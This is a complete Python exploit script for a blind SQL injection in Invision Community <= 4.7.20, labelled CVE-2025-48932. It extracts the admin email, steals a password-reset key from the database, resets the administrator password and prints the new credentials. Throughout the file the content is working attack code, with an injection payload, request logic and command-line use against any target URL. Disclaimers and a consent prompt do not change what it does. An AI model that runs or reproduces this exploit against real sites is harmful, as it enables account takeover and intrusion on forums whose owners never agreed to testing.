#!/usr/bin/env python3 """ Invision Community <= 4.7.20 (calendar/view.php) SQL Injection Exploit CVE-2025-48932 Author: nanda Developer: nanda Date: 2025-11-14 This proof of concept demonstrates a SQL injection vulnerability in Invision Community versions <= 4.7.20. This code is provided for educational and authorized security testing purposes ONLY. File: invision_sqli_exploit.py (can be imported as a module) """ import re import sys import time import argparse import requests from urllib.parse import urljoin from colorama import init, Fore, Style # Initialize colorama for cross-platform colored output init(autoreset=True) class InvisionSQLiExploit: """ Exploit class for Invision Community SQL Injection vulnerability (CVE-2025-48932) """ def __init__(self, target_url, verbose=False): """ Initialize the exploit with target URL and settings Args: target_url (str): Base URL of the target Invision Community installation verbose (bool): Enable verbose output for debugging """ self.target_url = target_url.rstrip('/') self.verbose = verbose self.session = requests.Session() self.session.verify = False # Disable SSL verification (use with caution) self.csrf_token = None # Suppress SSL warnings requests.packages.urllib3.disable_warnings() def print_banner(self): """Display exploit banner""" banner = f""" {Fore.CYAN}{'='*70} {Fore.YELLOW}Invision Community <= 4.7.20 SQL Injection Exploit {Fore.YELLOW}CVE-2025-48932 {Fore.CYAN}{'='*70} {Fore.WHITE}Target: {self.target_url} {Fore.CYAN}{'='*70}{Style.RESET_ALL} """ print(banner) def log_info(self, message): """Print info message""" print(f"{Fore.BLUE}[*]{Style.RESET_ALL} {message}") def log_success(self, message): """Print success message""" print(f"{Fore.GREEN}[+]{Style.RESET_ALL} {message}") def log_error(self, message): """Print error message""" print(f"{Fore.RED}[-]{Style.RESET_ALL} {message}") def log_warning(self, message): """Print warning message""" print(f"{Fore.YELLOW}[!]{Style.RESET_ALL} {message}") def log_verbose(self, message): """Print verbose debug message""" if self.verbose: print(f"{Fore.MAGENTA}[DEBUG]{Style.RESET_ALL} {message}") def fetch_csrf_token(self): """ Fetch CSRF token from the main page Returns: bool: True if successful, False otherwise """ self.log_info("Fetching CSRF token...") try: response = self.session.get(self.target_url, timeout=30) response.raise_for_status() # Extract CSRF token using regex csrf_match = re.search(r'csrfKey:\s*["\']([^"\']+)["\']', response.text) if csrf_match: self.csrf_token = csrf_match.group(1) self.log_success(f"CSRF token found: {self.csrf_token}") return True else: self.log_error("CSRF token not found in response!") return False except requests.exceptions.RequestException as e: self.log_error(f"Failed to fetch CSRF token: {str(e)}") return False def sql_injection(self, sql_query): """ Perform boolean-based blind SQL injection to extract data Args: sql_query (str): SQL query to execute Returns: str: Extracted data from the database """ data = "" index = 1 while True: min_val = True test = 256 # Binary search for each character for i in range(7, -1, -1): if min_val: test = test - pow(2, i) else: test = test + pow(2, i) # Craft SQL injection payload payload = f"'))OR(SELECT 1 RLIKE(IF(ORD(SUBSTR(({sql_query}),{index},1))<{test},0x28,0x31)))#" params = { "app": "calendar", "module": "calendar", "controller": "view", "do": "search", "form_submitted": 1, "csrfKey": self.csrf_token, "location": payload } try: response = self.session.post( urljoin(self.target_url, "index.php"), data=params, timeout=30 ) # Check if error message appears (indicates condition is true) min_val = "elErrorMessage" in response.text self.log_verbose(f"Testing index {index}, test value {test}, result: {min_val}") except requests.exceptions.RequestException as e: self.log_error(f"Request failed: {str(e)}") return None # Calculate the character value chr_value = (test - 1) if min_val else test # If we get 0, we've reached the end of the string if chr_value == 0: break data += chr(chr_value) index += 1 # Print progress print(f"\r{Fore.CYAN}[*]{Style.RESET_ALL} Extracting data: {Fore.GREEN}{data}{Style.RESET_ALL}", end='', flush=True) print() # New line after progress return data def exploit(self): """ Main exploit workflow Returns: dict: Contains admin email and password if successful, None otherwise """ self.print_banner() # Step 1: Fetch CSRF token if not self.fetch_csrf_token(): return None # Step 2: Extract admin email self.log_info("Step 1: Extracting admin email address...") admin_email = self.sql_injection("SELECT email FROM core_members WHERE member_id=1") if not admin_email: self.log_error("Failed to extract admin email!") return None self.log_success(f"Admin email: {Fore.YELLOW}{admin_email}{Style.RESET_ALL}") # Step 3: Wait for password reset self.log_warning("\nStep 2: Manual action required!") print(f"\n{Fore.YELLOW}Please follow these steps:{Style.RESET_ALL}") print(f"1. Navigate to: {Fore.CYAN}{self.target_url}/index.php?/lostpassword/{Style.RESET_ALL}") print(f"2. Request a password reset using email: {Fore.CYAN}{admin_email}{Style.RESET_ALL}") print(f"3. Press {Fore.GREEN}ENTER{Style.RESET_ALL} when done...") input() # Step 4: Extract password reset key self.log_info("Step 3: Extracting password reset validation key...") reset_key = self.sql_injection( "SELECT vid FROM core_validating WHERE member_id=1 AND lost_pass=1 ORDER BY entry_date DESC LIMIT 1" ) if not reset_key: self.log_error("Failed to extract reset key!") return None self.log_success(f"Reset key: {Fore.YELLOW}{reset_key}{Style.RESET_ALL}") # Step 5: Reset admin password self.log_info("Step 4: Resetting admin password...") new_password = f"Pwned{int(time.time())}" params = { "do": "validate", "vid": reset_key, "mid": 1, "password": new_password, "password_confirm": new_password, "resetpass_submitted": 1, "csrfKey": self.csrf_token } try: response = self.session.post( urljoin(self.target_url, "index.php?/lostpassword/"), data=params, allow_redirects=False, timeout=30 ) # Check for successful redirect (301/302) if response.status_code in [301, 302]: self.log_success(f"\n{Fore.GREEN}{'='*70}") self.log_success(f"EXPLOITATION SUCCESSFUL!") self.log_success(f"{'='*70}{Style.RESET_ALL}") print(f"\n{Fore.YELLOW}Admin credentials:{Style.RESET_ALL}") print(f" Email: {Fore.CYAN}{admin_email}{Style.RESET_ALL}") print(f" Password: {Fore.CYAN}{new_password}{Style.RESET_ALL}") print(f"\n{Fore.GREEN}You can now login at: {self.target_url}/index.php?/login/{Style.RESET_ALL}\n") return { "email": admin_email, "password": new_password } else: self.log_error("Password reset failed! Unexpected response.") self.log_verbose(f"Status code: {response.status_code}") return None except requests.exceptions.RequestException as e: self.log_error(f"Password reset request failed: {str(e)}") return None def main(): """Main function to parse arguments and run exploit""" parser = argparse.ArgumentParser( description="Invision Community <= 4.7.20 SQL Injection Exploit (CVE-2025-48932)", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Example Usage: python invision-sqli-exploit.py -u http://target.com/forum/ python invision-sqli-exploit.py -u https://example.com/community/ -v Requirements: - Calendar application must be installed - GeoLocation feature (like Google Maps) must be configured - Target must be running Invision Community <= 4.7.20 Disclaimer: This tool is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. Use at your own risk. """ ) parser.add_argument( '-u', '--url', required=True, help='Target Invision Community base URL (e.g., http://target.com/forum/)' ) parser.add_argument( '-v', '--verbose', action='store_true', help='Enable verbose output for debugging' ) args = parser.parse_args() # Display disclaimer print(f"\n{Fore.RED}{'='*70}") print(f"{Fore.RED}DISCLAIMER: Educational and Authorized Testing Only") print(f"{Fore.RED}{'='*70}{Style.RESET_ALL}") print(f"{Fore.YELLOW}This tool is provided for educational purposes and authorized") print(f"security testing only. Unauthorized access to computer systems is illegal.") print(f"The author is not responsible for any misuse or damage.{Style.RESET_ALL}") print(f"\n{Fore.YELLOW}Do you understand and agree to use this tool responsibly? (yes/no){Style.RESET_ALL}") consent = input("> ").strip().lower() if consent not in ['yes', 'y']: print(f"\n{Fore.RED}Exploitation aborted.{Style.RESET_ALL}\n") sys.exit(0) # Initialize and run exploit exploit = InvisionSQLiExploit(args.url, args.verbose) result = exploit.exploit() if result: sys.exit(0) else: sys.exit(1) if __name__ == "__main__": main()